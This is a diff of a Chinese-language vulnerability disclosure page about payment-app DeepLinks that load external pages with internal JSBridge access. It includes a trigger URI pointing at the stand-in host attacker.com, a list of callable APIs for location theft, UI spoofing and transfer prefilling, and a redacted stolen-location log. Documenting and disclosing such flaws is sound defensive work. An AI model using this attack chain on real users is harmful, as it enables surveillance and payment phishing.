INNORA AI 安全研究
+INNORA AI · 安全研究
📌 完整技术报告(含在线 PoC 演示)
-
+
+ 📌 完整技术报告(含在线 PoC 可验证演示)
🌐 研究主站:https://innora.ai/zfb/
- 🐙 GitHub 仓库:github.com/sgInnora/alipay-deeplink-research
+
+ 🐙 GitHub(含完整代码):github.com/sgInnora/alipay-deeplink-research
⚠️ 为防删除,请自行 Fork 仓库或保存页面到本地备份! ⚠️ 为防内容被删,请立即 Fork 仓库 + 保存网页到本地!多备份几个地方! · · · · · ·
- 2026年3月7日,我们向某头部支付平台提交了一份包含 17个安全漏洞 的完整研究报告,附带 308 条服务器日志和 42 张真机截图作为证据。
+
+ 你点了一条链接。
- 厂商的回复只有四个字:「正常功能」。
+
+ 没有弹窗。没有提示。没有任何异常。
- 我们决定公开全部研究成果。
+
+ 但你的 实时位置信息、手机型号、系统版本、网络状态、蓝牙开关、摄像头权限 —— 在你毫不知情的情况下,全部被拿走了。
+
+ 攻击者还能伪造你看到的每一个界面,把标题栏改成「账户安全中心」,弹出假的系统通知,甚至帮你打开转账页面并填好金额。
+
+ 而这一切,来自一个 每天超过10亿人使用 的国民级支付App。
厂商官方回复 ↓ 「正常功能」 —— 某头部支付平台安全团队,2026年3月8日
+ 是的,你没看错。我们花了3周,在3台设备、3个国家进行交叉验证,提交了包含 17 个安全发现 + 308 条数据窃取日志 + 42 张真机截图 的完整报告。
+
+ 厂商的安全团队评估后回复:这些都属于正常功能。
+ · · · 攻击只需一步:点击一个链接 只需一步:点一条链接
- 不需要 Root。不需要越狱。不需要任何特殊权限。
+ 不需要 Root。不需要越狱。不需要安装任何东西。
- 受害者只需要做一件事 —— 在微信、QQ 或短信中点击一个链接。
+ 受害者唯一需要做的 —— 在微信群、QQ群或短信里点开一条「红包」链接。
- 这个链接会通过 DeepLink 协议直接打开目标支付App,在其内置浏览器中加载攻击者的网页。而这个网页,可以调用 App 内部的 JavaScript Bridge 接口 —— 无需任何额外授权。
+
+ 这条链接通过 DeepLink 协议直接唤起支付App,在 App 内置浏览器里加载攻击者的网页。而这个网页 自动获得了 App 的内部接口权限 —— 不弹窗,不授权,静默执行。
📱 攻击流程: 攻击者发送链接 (伪装成红包/活动) ↓ 受害者点击 → 浏览器解析 DeepLink ↓ 支付App自动启动 → 加载攻击者页面 ↓ JSBridge 全部开放 → 数据被窃取 能窃取什么? 🔴 CRITICAL — 严重
- 1. GPS 实时定位窃取 📱 完整攻击流程:
+ ❶ 攻击者在群里发「红包链接」/「活动链接」
- 2. 转账页面预填充
+ ❷ 受害者点击 → 手机浏览器解析 DeepLink
- 3. 支付接口调用
+ ❸ 支付App 自动启动 → 加载攻击者的网页
🟠 HIGH — 高危
- 4. 设备完整指纹
+ ❹ 攻击网页获得内部接口 → 静默窃取数据
- 5. 标题栏欺骗
- 6. 敏感页面直达 🔵 MEDIUM — 中危
- 7-9. 网络信息 / 会话泄露 / 服务器时间同步
- 10-13. 链式 WebView / Scheme 注入
- 14-17. 剪贴板操作 / 联系人选择 / 分享劫持
+ ❺ 数据回传攻击者服务器(用户全程无感知)
· · · · · · 真机实测证据 17个「正常功能」,逐个拆解
- 我们在 3 台不同设备、3 个不同国家 进行了交叉验证:
+
+ 以下每一项,都是外部攻击者页面可以在 App 内静默执行的「正常功能」。
📱 Samsung S25 Ultra — Android 15, 新西兰 📱 Redmi 12 — Android 14, 马来西亚 📱 iPhone 16 Pro — iOS 18.3, 中国大陆 严 重
+ ① 实时位置信息窃取
+ ② 转账页面预填充
+ ③ 支付弹窗触发
- 共获取 308 条 服务器端数据日志,42 张 真机截图。攻击者页面成功从这三台设备上静默获取了 GPS 坐标、设备指纹、网络信息等敏感数据。
-
- 服务器日志示例:
- // 真实日志摘录 (已脱敏) { "tag": "GPS_Location", "data": { "latitude": "-36.8***", "longitude": "174.7***", "city": "Auckland", "country": "NZ" }, "device": "SM-S938B", "timestamp": "2026-03-07T09:14:22Z" } 高 危
+ ④ 设备完整指纹一键获取
+ ⑤ 标题栏 + 通知伪造
+ ⑥ 11个敏感页面直达
+ ⑦ 会话信息泄露
+ ⑧ 网络状态窃取
+ ⑨ 服务器时间同步 中 危
+ ⑩ 链式 WebView 无限打开
+ ⑪⑫ Scheme 注入(拨号 + 短信)
+ ⑬⑭ 剪贴板读写
+ ⑮⑯⑰ 联系人选择 / 分享劫持 / 振动反馈 · · · · · · 负责任披露时间线 3台设备,3个国家,308条日志 📱 Samsung S25 Ultra — Android 15 · 新西兰 📱 Redmi 12 — Android 14 · 马来西亚 📱 iPhone 16 Pro — iOS 18.3 · 中国大陆
+ 三台设备全部中招。攻击者服务器共记录了 308 条 窃取数据日志。以下是脱敏后的真实日志片段:
+ // 真实服务器日志 (坐标已脱敏) { "tag": "Location_Data", "latitude": "-36.8***", "longitude": "174.7***", "city": "Auckland", "device": "SM-S938B", "timestamp": "2026-03-07T09:14:22Z" } · · · 负责任披露全记录
- 2026-02-25 —— 首次报告 (TLS/SSL 发现) → 官方 SRC 邮箱
+
+ 2026-02-25 · 首次报告 (TLS/SSL 相关) → 官方安全响应中心
- 2026-03-07 —— 完整 V3 报告 (17漏洞 + 308日志 + 42截图) → 安全联系人
+
+ 2026-03-07 · 完整报告 V3:17个发现 + 308条日志 + 42张截图 → 安全团队联系人
- 2026-03-08 —— 厂商回复:「根据我们的评估这些属于正常功能」
+
+ 2026-03-08 · 厂商回复:「根据我们的评估,这些属于正常功能」
- 2026-03-11 —— 公开披露
+
+ 2026-03-11 · 公开全部研究成果
- 我们理解厂商有自己的风险评估标准。但当一个外部网页可以在 App 内静默获取用户 GPS 定位、伪造应用界面进行钓鱼、甚至预填转账信息时,将其定性为「正常功能」,我们无法认同。
+
+ 我们完全遵循了负责任披露流程。先私下报告,等待官方响应。
- 公开披露不是为了对抗,而是为了让更多安全研究人员和用户知情,共同推动问题解决。
+
+ 当一个外部网页能在 App 内 静默获取用户位置、伪造界面进行钓鱼、预填转账信息 时——
+
+ 称之为「正常功能」,我们无法接受。
· · · 在线 PoC 演示(只读,不收集数据)
- 我们提供了三个在线 PoC 页面,所有数据仅在本地展示,不会传输至任何服务器:
-
- 🎯 Trigger Page — 模拟攻击者分发页面
-
- 🔓 JSBridge PoC — 演示外部页面的 API 访问能力
-
- 🔗 Chain WebView — 证明链式页面仍保留完整 Bridge 权限
- · · · 为什么选择公开?
- 我们完全遵循了负责任披露流程 —— 先私下报告,等待厂商响应。厂商明确回复这些是「正常功能」,表示不会修复。
-
- 在这种情况下,公开是唯一能推动改变的方式。我们希望:
- 1️⃣ 用户知道自己的隐私正在被「正常功能」暴露 2️⃣ 安全研究社区可以独立验证我们的发现 3️⃣ 厂商重新审视这些问题的严重性 4️⃣ 整个行业认真对待 DeepLink 攻击面 · · · · · · ⚠️ 重要澄清 ⚠️ 重要澄清
- 本研究未发现零交互自动扣款漏洞。转账预填充仍需用户手动确认。GPS 获取依赖于用户此前已授予该App定位权限。
+ 本研究未发现零交互自动扣款。转账预填充仍需用户手动点击确认。位置获取依赖用户此前已授予App的定位权限。
- 核心风险在于:任何外部HTTPS网页通过 DeepLink 加载后,可以调用大量本应仅限于官方小程序使用的内部接口,且无需额外授权。这将传统钓鱼攻击的杀伤力提升了一个数量级。
+ 核心问题在于:任何外部HTTPS网页通过DeepLink加载后,可以调用大量本应仅限官方小程序使用的内部接口,无需额外授权。这使传统钓鱼攻击的杀伤力提升了一个数量级。
技术要点 在线PoC验证(只读,不收集数据)
- 攻击的核心入口是 DeepLink URI scheme:
+
+ 以下三个PoC页面均为只读演示,所有数据仅在本地显示,不传输至任何服务器。安全研究人员可自行验证。
alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/evil.html 🎯 攻击触发页 — 模拟攻击者分发钓鱼链接 🔓 JSBridge PoC — 17个接口实测演示 🔗 链式攻击 — 证明链式页面保留完整权限
- 其中
- 更详细的攻击链分析、每个 API 的调用代码、服务器日志原文,请参阅完整报告。
- · · · 🛡️ 多节点存档(防删除)
- 本研究已在多个独立节点同步发布。如发现任一地址不可访问,请从其他节点获取。
-
- 🌐 研究主站:https://innora.ai/zfb/
-
- 🐙 GitHub:github.com/sgInnora/alipay-deeplink-research
-
- ⚠️ 请 Fork GitHub 仓库 / 保存页面到本地 / 转发本文,帮助保留证据!
- · · · 修复建议 我们给出的修复建议
- 我们同时提供了完整的修复建议方案:
- 🔒 URL 白名单:仅允许官方域名通过 appId=20000067 加载 🔒 JSBridge 分级:外部页面仅开放基础 API,敏感接口需域名+签名验证 🔒 DeepLink 确认:外部来源的 DeepLink 必须弹出安全确认弹窗 🔒 位置权限:WebView 中的 getLocation 应独立于系统权限,需显式授权 🔒 UI 隔离:外部页面禁止 setTitle/toast,或添加不可欺骗的安全标识 🔒 URL 白名单:仅允许官方域名通过 WebView 加载 🔒 接口分级:外部页面只能用基础API,敏感接口需域名+签名双重验证 🔒 DeepLink 确认弹窗:外部来源的链接必须显示安全提示 🔒 位置权限隔离:WebView 内的定位请求应独立于系统权限 🔒 UI 防伪标识:外部页面禁止修改标题栏,或添加不可伪造的安全标记 · · · · · · 🛡️ 防删除 · 多节点存档
+ 本研究已在多个独立节点同步发布
+ 🌐 主站:https://innora.ai/zfb/
+
+ 🐙 GitHub:github.com/sgInnora/alipay-deeplink-research
+
+ ⚠️ 请立即 Fork 仓库 / 保存页面 / 转发本文
- 法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方账户或数据进行未授权访问。PoC 页面为只读演示,已禁用所有数据外传功能。本研究遵循负责任披露流程,厂商已获得充分时间响应。
+
+ 法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方进行未授权访问。PoC 页面为只读演示,已禁用全部数据外传功能。研究遵循负责任披露流程,厂商已获充分响应时间。
Innora AI 安全研究团队 feng@innora.ai 2026-03-11 — END — Innora AI 安全研究团队 feng@innora.ai · innora.ai 2026-03-11 — END —
- 调用 getLocation 接口,静默获取经纬度、城市、国家。当用户曾授予App定位权限时,外部攻击页面可直接获取,不会弹出任何授权提示。
+
- 调用 startApp 打开转账功能并预填金额和收款账户。最终确认仍需用户操作,但在 UI 欺骗场景下可诱导用户完成。
+
- 调用 tradePay 接口可弹出支付确认页。用户取消后返回 resultCode=6001,但攻击者可反复触发,配合 UI 伪装进行钓鱼。
+
- 品牌、型号、系统版本、存储、电量、屏幕分辨率、蓝牙/WiFi/摄像头/麦克风授权状态 —— 一次全部泄露。
+
- 调用 setTitle 将标题栏改为「账户安全中心」,配合 Toast 弹窗伪造系统通知。用户无法区分真假界面。
-
- 通过 startApp 直接跳转至交易记录、转账联系人、付款码、余额、安全设置、银行卡管理等 11 个敏感页面,无额外确认。
-
- WiFi/蜂窝状态、sessionId、sourcePackageName(知道你从哪来的),以及支付宝服务器精确时间。
-
- pushWindow 可以无限打开新页面,每个页面都自动获得完整 JSBridge 权限。还可注入 tel: / sms: 协议触发拨号和短信。
-
- 读写剪贴板、弹出联系人选择器、触发分享面板 —— 全部可从外部页面调用。
+
+ 调用 getLocation,静默获取精确经纬度 + 城市 + 国家。用户曾给App授过定位权限就会中招,不会弹任何提示。
+
+ 调用 startApp 打开转账功能,自动填好收款账号和金额。确认仍需用户操作,但配合 UI 伪装可诱导完成。
+
+ 调用 tradePay 弹出支付确认页。用户取消后可反复触发,配合伪造界面进行钓鱼攻击。
+
+ 品牌、型号、系统版本、存储空间、电量、屏幕分辨率、蓝牙 / WiFi / 摄像头 / 麦克风授权状态 —— 一次性全部泄露。
+
+ setTitle 把标题栏改成「账户安全中心」,toast 弹出假通知。用户根本分不清真假。
+
+ 交易记录、转账联系人、付款码、余额宝、安全设置、银行卡管理…… 通过 startApp 直接跳转,零确认。
+
+ getStartupParams 暴露 sessionId、启动来源、App版本。攻击者知道你从哪个App跳转过来的。
+
+ WiFi / 蜂窝 / 网络类型全部暴露。
+
+ 获取平台精确服务器时间,可用于时序攻击。
+
+ pushWindow 可无限打开新页面,每个页面自动继承全部接口权限,形成无限攻击链。
+
+ pushWindow 可注入 tel: 和 sms: 协议,触发系统拨号器和短信应用。
+
+ setClipboard / getClipboard,静默读取和修改用户剪贴板内容。
+
+ 弹出联系人选择器获取信息、触发分享面板、控制手机振动 —— 全部从外部页面一键调用。
+ appId=20000067 是内置浏览器组件。任何 HTTPS URL 都可以通过这个方式在 App 的 WebView 容器中打开,而 WebView 会自动注入 AlipayJSBridge 对象,提供 50+ 个内部 API。
-
如发现任一地址不可访问,请从其他节点获取完整内容
+
帮助保留证据,防止单节点删除!
+